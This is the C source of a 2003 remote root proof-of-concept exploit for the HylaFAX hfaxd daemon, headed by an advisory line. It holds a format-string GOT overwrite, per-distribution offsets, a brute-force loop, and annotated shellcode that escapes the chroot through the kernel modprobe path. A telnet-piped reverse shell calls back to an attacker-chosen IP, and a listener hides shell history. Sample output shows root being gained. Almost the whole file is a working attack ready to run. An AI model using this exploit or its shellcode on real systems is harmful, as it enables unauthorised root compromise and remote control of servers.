// source: https://www.securityfocus.com/bid/9005/info
Hylafax hfaxd (daemon) has been reported prone to an unspecified format string vulnerability that may be exploited under non-standard configurations to execute arbitrary instructions remotely as the root user.
/*** Hylafax remote root PoC exploit
(C) 2003 Sebastian Krahmer <krahmer@cs.uni-potsdam.de>
*** FOR EDUCATIONAL PURPOSES ONLY ****
The phrack 59 (www.phrack.org !) article about format strings
on the heap helped a lot. Thanks to gera, fozzy and juliano
for hints.
How to get the right n$ values from syslog:
Sep 29 05:16:22 linux HylaFAX[2704]: command: site trigger %350$x
Sep 29 05:16:22 linux HylaFAX[2704]: ??? bfffff24
So, %350$n is a good choice since a write would located on valid stack.
Sep 29 05:05:24 linux HylaFAX[2644]: command: site trigger %959$x
Sep 29 05:05:24 linux HylaFAX[2644]: ??? 4f464e49
At 0xbffff24 you find the value 0x4f464e49 via gdb, and
brute forcing %1$x to %1000$x shows that at %959$x (see syslog
output above) the value of the 0xbffff24 pointer can be found.
Thus we first write the GOT address we want to modify to 0xbffff24
via the %350$n and then using the value of *0xbffff24 (which is the
address of the GOT entry we want to modify) as a pointer again to
finally write the GOT entry.
strace -i -e raw=read -etrace=read -f -p 3293 2>&1
[pid 3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x400
^^^^^^^^^ network input buffer
[pid 3313] [402ec328] read(0, 0x808c6b8, 0x400) = 0x9
(gdb) x/100x 0x808c6b8
...
0x808c6f8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c708: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c718: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c728: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c738: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c748: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c758: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c768: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c778: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c788: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c798: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c7a8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c7b8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x808c7c8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
...
0x804c1f0 <fprintf>: jmp *0x80835e0
(gdb) x/i 0x804c1f0
Thus, some value like 0x808c6b8 should be written to the address 0x80835e0.
This gives the format strings:
site trigger %%134755804d%%350$n\n"
^^^^^^^^^ This is the GOT entry minus 4 (0x80835e0-4)
site trigger %%%ud%%%d$n\n",
^^ here the address of the buffer holding the shellcode
is palced i.e. 0x808c780. This is variable in the
target struct.
The 0th target (-t 0) is a debug target which makes hfaxd sending all
the fine stuff to syslogd. Then you can look which n$ are usable.
Now for the shellcode: we need a chroot breakign one. It mounts proc
to the chroot cage, modifies modprobe path via it and triggers a
modprobe call by kernel via an invalid ELF file. The called
"modprobe" is indeed a back-connecting shellscript. Outta.
<--- shellcode -->
; nasm -f elf code.s
GLOBAL cbegin
GLOBAL cend
cbegin:
xor eax, eax
mov al, 23
xor ebx, ebx
int 0x80 ; setuid(0)
jmp short proc1
; mount proc FS
mountit:
pop ebx
xor ecx, ecx
mov [ebx+4], cl ; terminate string with \0
xor eax, eax
mov al, 39
xor ecx, ecx
mov cx, 0x1ff
int 0x80 ; mkdir("proc", 0755);
mov ecx, ebx
mov edx, ebx
xor esi, esi
xor edi, edi
xor eax, eax
mov al, 21 ; mount("proc", "proc", "proc", 0, NULL)
int 0x80
jmp short pshell1
; open connect shell script
op:
pop ebx
xor eax, eax
mov [ebx+1], al ; terminate string with \0
mov al, 8
xor ecx, ecx
mov cx, 0x1ff
int 0x80 ; creat("p", 0777);
jmp short connect1
proc1:
jmp short proc
; write it
wp:
pop ecx
mov ebx, eax
dec byte [ecx+9] ; create a '\n'
mov al, 4
xor edx, edx
mov dl, 68
int 0x80 ; write("#!/bin/sh...", 68)
mov al, 6
int 0x80 ; close
jmp short elfp
; open weird ELF file to trigger modprobe
oelf:
pop ebx
xor eax, eax
mov [ebx+3], al ; terminate string with \0
mov al, 8
xor ecx, ecx
mov cx, 0x1ff
int 0x80 ; creat("elf", 0777);
jmp short elfh ;
; write weird ELF
welf: pop ecx
mov ebx, eax ; fd to ebx
xor edx, edx
mov dl, 20
mov al, 4
int 0x80 ; write()
mov al, 6
int 0x80 ; close weird ELF
jmp short modp
pshell1:
jmp short pshell
om:
pop ebx
xor eax, eax
mov al, 5
xor ecx, ecx
mov [ebx+24], cl
inc cl
int 0x80 ; open("...modprobe", 1)
jmp short mpath
wm:
pop ecx
mov ebx, eax ; fd to ebx
mov al, 4
xor edx, edx
mov dl, 16
int 0x80 ; write(fd, "/var/spool/fax/p", 16)
mov al, 6
int 0x80 ; close
mov al, 11
xor ecx, ecx
jmp short elfp2
connect1:
jmp short connect
exec:
pop ebx
mov [ebx+3], cl
push ecx
push ebx
mov ecx, esp
xor edx, edx
int 0x80 ; execve("elf",...)
proc:
call mountit
db "proc."
elfp: ; ELF path
call oelf
db "elf."
elfh: ; ELF header triggering modprobe
call welf
db 0x45, 0x7f, 0x46, 0x4c, 0x01, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1
db 0x1, 0x1, 0x1, 0x1, 0x1, 0x2, 0x22, 0x22
mpath:
call wm
db "/var/spool/fax/p"
pshell:
call op
db "p."
modp:
call om
db "proc/sys/kernel/modprobe."
elfp2:
call exec
db "elf."
connect:
call wp
db "#!/bin/sh",0xb
; db "telnet 127.000.000.001 3128|sh|telnet 127.000.000.001 8080"
cend:
<-- shellcode -->
$ ./a.out -h 127.0.0.1 -t 1 -b 192.168.0.1
>>> Hylafax exploit <<<
> Attempting to exploit hylafax-4.1.5-43 on 127.0.0.1:(4559)
site trigger %134755804d%350$n
site trigger %134793088d%967$n
.....
Connected!
Trying 192.168.000.001...
Connected to 192.168.000.001.
Escape character is '^]'.
Linux linux 2.4.20-4GB #1 Mon Mar 17 17:54:44 UTC 2003 i686 unknown unknown GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
12:29:38 up 9:07, 6 users, load average: 2.25, 2.10, 2.23
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
stealth tty2 03:23 48:24 0.73s 0.05s /usr/X11R6/bin/xinit4
stealth pts/2 11:42 1:41 0.61s 1.06s xterm
stealth pts/1 11:42 1.00s 4.50s 0.01s ./a.out -h 127.0.0.1 -t 1 -b 19
stealth pts/3 11:42 6.00s 0.66s 3.08s xterm
stealth pts/4 12:24 2:52 0.27s 0.30s xterm
In order to work, the config need a debug level of at least 2:
ServerTracing: 0x002
in hfaxd.conf.
***/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>
/* Shellcodes.
*/
unsigned char x86_sigtrap[] =
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc"
"\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc";
unsigned char x86_lnx_create_blub[] =
"\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
"\x31\xc0\xb0\x08\xeb\x0e\x5b\x31\xc9\x88\x4b\x04"
"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xed\xff\xff"
"\xff\x62\x6c\x75\x62\x31\xc0\x40\xcd\x80";
unsigned char x86_lnx_proc_chroot_backconnect[] =
"\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xeb\x34\x5b\x31"
"\xc9\x88\x4b\x04\x31\xc0\xb0\x27\x31\xc9\x66\xb9"
"\xff\x01\xcd\x80\x89\xd9\x89\xda\x31\xf6\x31\xff"
"\x31\xc0\xb0\x15\xcd\x80\xeb\x4b\x5b\x31\xc0\x88"
"\x43\x01\xb0\x08\x31\xc9\x66\xb9\xff\x01\xcd\x80"
"\xeb\x60\xeb\x6c\x59\x89\xc3\xfe\x49\x09\xb0\x04"
"\x31\xd2\xb2\x44\xcd\x80\xb0\x06\xcd\x80\xeb\x62"
"\x5b\x31\xc0\x88\x43\x03\xb0\x08\x31\xc9\x66\xb9"
"\xff\x01\xcd\x80\xeb\x59\x59\x89\xc3\x31\xd2\xb2"
"\x14\xb0\x04\xcd\x80\xb0\x06\xcd\x80\xeb\x7d\xeb"
"\x74\x5b\x31\xc0\xb0\x05\x31\xc9\x88\x4b\x18\xfe"
"\xc1\xcd\x80\xeb\x4f\x59\x89\xc3\xb0\x04\x31\xd2"
"\xb2\x10\xcd\x80\xb0\x06\xcd\x80\xb0\x0b\x31\xc9"
"\xeb\x74\xeb\x7b\x5b\x88\x4b\x03\x51\x53\x89\xe1"
"\x31\xd2\xcd\x80\xe8\x59\xff\xff\xff\x70\x72\x6f"
"\x63\x2e\xe8\x99\xff\xff\xff\x65\x6c\x66\x2e\xe8"
"\xa2\xff\xff\xff\x45\x7f\x46\x4c\x01\x01\x01\x01"
"\x01\x01\x01\x01\x01\x01\x01\x01\x01\x02\x22\x22"
"\xe8\xac\xff\xff\xff\x2f\x76\x61\x72\x2f\x73\x70"
"\x6f\x6f\x6c\x2f\x66\x61\x78\x2f\x70\xe8\x3a\xff"
"\xff\xff\x70\x2e\xe8\x80\xff\xff\xff\x70\x72\x6f"
"\x63\x2f\x73\x79\x73\x2f\x6b\x65\x72\x6e\x65\x6c"
"\x2f\x6d\x6f\x64\x70\x72\x6f\x62\x65\x2e\xe8\x89"
"\xff\xff\xff\x65\x6c\x66\x2e\xe8\x20\xff\xff\xff"
"\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0b";
unsigned char back_ip[128];
struct {
char *dist, *package, *fmt, *code;
u_int16_t n1, n2;
u_int32_t nbuf;
} targets[] = {
{ "debug", "debug", "debug", "debug", 0, 1, 0
},
{ "SuSE Linux 8.2",
"hylafax-4.1.5-43",
"site trigger %%134755804d%%350$n\n"
"site trigger %%%ud%%%d$n\n", // 350->bfffff24, 963->4f464e49
x86_lnx_proc_chroot_backconnect,
950, 999, /* start/stop values for bruteforcing 2nd n$ */
0x808c780
},
{ "SuSE Linux 8.1",
"hylafax-4.1.3-32",
"site trigger %%134748344d%%334$n\n"//0x804c1d4, *0x80818bc
"site trigger %%%ud%%%d$n\n", // 334->bfffff24, 947->4f464e49
x86_lnx_proc_chroot_backconnect,
940, 999,
0x808aa00
}
};
int verbose = 0;
int list_targets()
{
int i;
for (i = 0; i < sizeof(targets)/sizeof(targets[0]); ++i) {
printf("\n%d: %s / %s\n", i, targets[i].dist, targets[i].package);
}
return 0;
}
void die(const char *s)
{
perror(s);
exit(errno);
}
int writen(int fd, const void *buf, size_t len)
{
int o = 0, n;
while (len > 0) {
if ((n = write(fd, buf+o, len)) < 0)
return n;
len -= n;
o += n;
}
return o;
}
/* Simple tcp_connect(). Disables Nagle.
*/
int tcp_connect(const char *host, u_short port)
{
int sock, one = 1, len = sizeof(one);
struct hostent *he;
struct sockaddr_in sin;
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("sock");
if ((he = gethostbyname(host)) == NULL) {
herror("gethostbyname");
exit(EXIT_FAILURE);
}
memset(&sin, 0, sizeof(sin));
memcpy(&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = port == 0 ? htons(4559):htons(port);
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
close(sock);
return -1;
}
if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0)
die("setsockopt");
return sock;
}
void usage(const char *s)
{
fprintf(stderr, "\nHylafucks remote hylafax PoC exploit\n\n"
"Usage: %s [-u user] [-p pass] <-h host> [-p port] [-v] [-t target] <-b connect IP>\n\n"
"\t-u user:\tthe user to login as (default 'foo')\n"
"\t-p pass:\tthe password (default 'bar', note: user/pass are not always\n"
"\t\t\trequired on all setups\n"
"\t-t target:\tspecifies remote package/OS\n"
"\t-b IP:\t\tthe IP for the back-connect\n\n"
"use -t -1 for a target list. 0 is debug target; 1 is default.\n"
"Port 3128 and 8080 are used on local machine for the backconnect.\n\n", s);
exit(1);
}
void wait4shell(int p)
{
int l, s1, s2, a1, a2;
char buf[512];
fd_set rfds;
char *cmd = "unset HISTFILE;uname -a;id;w\n";
struct sockaddr_in p8080, p3128;
memset(&p8080, 0, sizeof(p8080));
memset(&p3128, 0, sizeof(p3128));
/* Open 2 ports: 3128 and 8080 */
p8080.sin_family = AF_INET;
p8080.sin_addr.s_addr = INADDR_ANY;
p8080.sin_port = htons(8080);
p3128.sin_family = AF_INET;
p3128.sin_addr.s_addr = INADDR_ANY;
p3128.sin_port = htons(3128);
if ((s1 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("wait4shell::socket/1");
if ((s2 = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("wait4shell::socket/2");
if (bind(s1, (struct sockaddr*)&p3128, sizeof(p3128)) < 0)
die("wait4shell::bind/1");
if (bind(s2, (struct sockaddr*)&p8080, sizeof(p8080)) < 0)
die("wait4shell::bind/2");
if (listen(s1, 1) < 0)
die("wait4shell::listen/1");
if (listen(s2, 1) < 0)
die("wait4shell::listen/2");
if ((a1 = accept(s1, NULL, 0)) < 0)
die("wait4shell::accept/1");
if ((a2 = accept(s2, NULL, 0)) < 0)
die("wait4shell::accept/1");
printf("\nConnected!\n");
kill(p, SIGKILL);
if (writen(a1, cmd, strlen(cmd)) < 0)
die("wait4shell::write");
while (1) {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(a1, &rfds);
FD_SET(a2, &rfds);
select(a2 + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET(0, &rfds)) {
l = read(0, buf, sizeof (buf));
if (l <= 0)
die("wait4shell::read");
writen(a1, buf, l);
}
if (FD_ISSET(a2, &rfds)) {
l = read(a2, buf, sizeof (buf));
if (l == 0) {
printf("connection closed by foreign host.\n");
exit(EXIT_FAILURE);
} else if (l < 0)
die("wait4shell::read remote");
writen(1, buf, l);
}
}
}
int expect_reply(int peer, const char *reply, char *buf, size_t blen)
{
int done = 0, i = 0;
memset(buf, 0, blen);
while (!done) {
if (i >= blen)
die("Nuts! Too much response.");
if (read(peer, &buf[i], 1) != 1)
die("expect_reply::read");
++i;
if (buf[i-1] == '\n') {
if (verbose)
printf("[\n%s]\n", buf);
if (strstr(buf, reply) != NULL)
done = 1;
else {
memset(buf, 0, blen);
i = 0;
}
}
}
return 0;
}
int send_overflow(char *host, int port, int target, char *user, char *pass)
{
char buf[1024], *crash = NULL, bip[128];
unsigned int i = 0;
int peer = -1, r = 0;
fd_set rset;
struct timeval tv;
for (i = targets[target].n1; i < targets[target].n2; ++i) {
close(peer);
peer = tcp_connect(host, port);
if (peer < 0)
die("send_overflow::tcp_connect");
expect_reply(peer, "220", buf, sizeof(buf));
/* build shellcode with back-connect IP; reserve space first */
crash = malloc(strlen(targets[target].code) +
sizeof("telnet 127.000.000.001 3128|sh|"
"telnet 127.000.000.001 8080"));
snprintf(bip, sizeof(bip), "telnet %s 3128|sh|telnet %s 8080",
back_ip, back_ip);
sprintf(crash, "%s%s", targets[target].code, bip);
memset(buf, 0x90, sizeof(buf));
/* ehm... */
strcpy(&buf[sizeof(buf)-1]-strlen(crash)-1, crash);
free(crash);
buf[sizeof(buf)-1] = '\n';
if (writen(peer, buf, sizeof(buf)) < 0)
die("send_overflow::writen/shellcode");
expect_reply(peer, "500", buf, sizeof(buf));
expect_reply(peer, "500", buf, sizeof(buf));
/* USER/PASS epilogue */
snprintf(buf, sizeof(buf), "user %s\n", user);
if (writen(peer, buf, strlen(buf)) < 0)
die("send_overflow::writen/user");
expect_reply(peer, "\n", buf, sizeof(buf));
snprintf(buf, sizeof(buf), "pass %s\n", pass);
if (writen(peer, buf, strlen(buf)) < 0)
die("writen/pass");
expect_reply(peer, "\n", buf, sizeof(buf));
if (strcmp(targets[target].dist, "debug") == 0) {
read(0,buf,1);
for (i = 1; i < 1000; ++i) {
sprintf(buf, "site trigger %%%d$x\n", i);
writen(peer, buf, strlen(buf));
usleep(30000);
}
break;
}
snprintf(buf, sizeof(buf), targets[target].fmt,
targets[target].nbuf, i);
if (writen(peer, buf, strlen(buf)) < 0)
die("send_overflow::read");
printf("%s\n", buf);
while (1) {
FD_ZERO(&rset);
FD_SET(peer, &rset);
tv.tv_sec = 1;
tv.tv_usec = 0;
r = select(peer+1, &rset, NULL, NULL, &tv);
if (!FD_ISSET(peer, &rset)) {
printf(".");
continue;
}
r = read(peer, buf, sizeof(buf));
break;
}
printf("\n");
}
return peer;
}
int main(int argc, char **argv)
{
int peer = -1, c = 0, target = 1, port = 0,
d1 = 0, d2 = 0, d3 = 0, d4 = 0, p = 0;
char *host = NULL, *back = NULL, *user = "foo", *pass = "bar";
while ((c = getopt(argc, argv, "h:p:t:vb:u:P:")) != -1) {
switch (c) {
case 'h':
host = strdup(optarg);
break;
case 'p':
port = atoi(optarg);
break;
case 't':
target = atoi(optarg);
break;
case 'v':
verbose = 1;
break;
case 'b':
back = strdup(optarg);
break;
case 'u':
user = strdup(optarg);
break;
case 'P':
pass = strdup(optarg);
break;
default:
usage(argv[0]);
}
}
printf("\n>>> Hylafax exploit <<<\n\n");
if (target == -1) {
list_targets();
return 0;
}
if (!host || !back)
usage(argv[0]);
if (target >= sizeof(targets)/sizeof(targets[0])) {
fprintf(stderr, "Invalid target!\n");
return 1;
}
/* normalize IP */
sscanf(back, "%d.%d.%d.%d", &d1, &d2, &d3, &d4);
sprintf(back_ip, "%03d.%03d.%03d.%03d", d1, d2, d3, d4);
if (verbose)
printf("Normalized back-connect IP: %s\n", back_ip);
setbuffer(stdout, NULL, 0);
printf("> Attempting to exploit %s on %s:(%d)\n\n",
targets[target].package, host, port?port:4459);
if (target != 0) {
if ((p = fork()) > 0)
wait4shell(p);
}
peer = send_overflow(host, port, target, user, pass);
fprintf(stderr, "Failed to exploit '%s'\n", host);
return 0;
}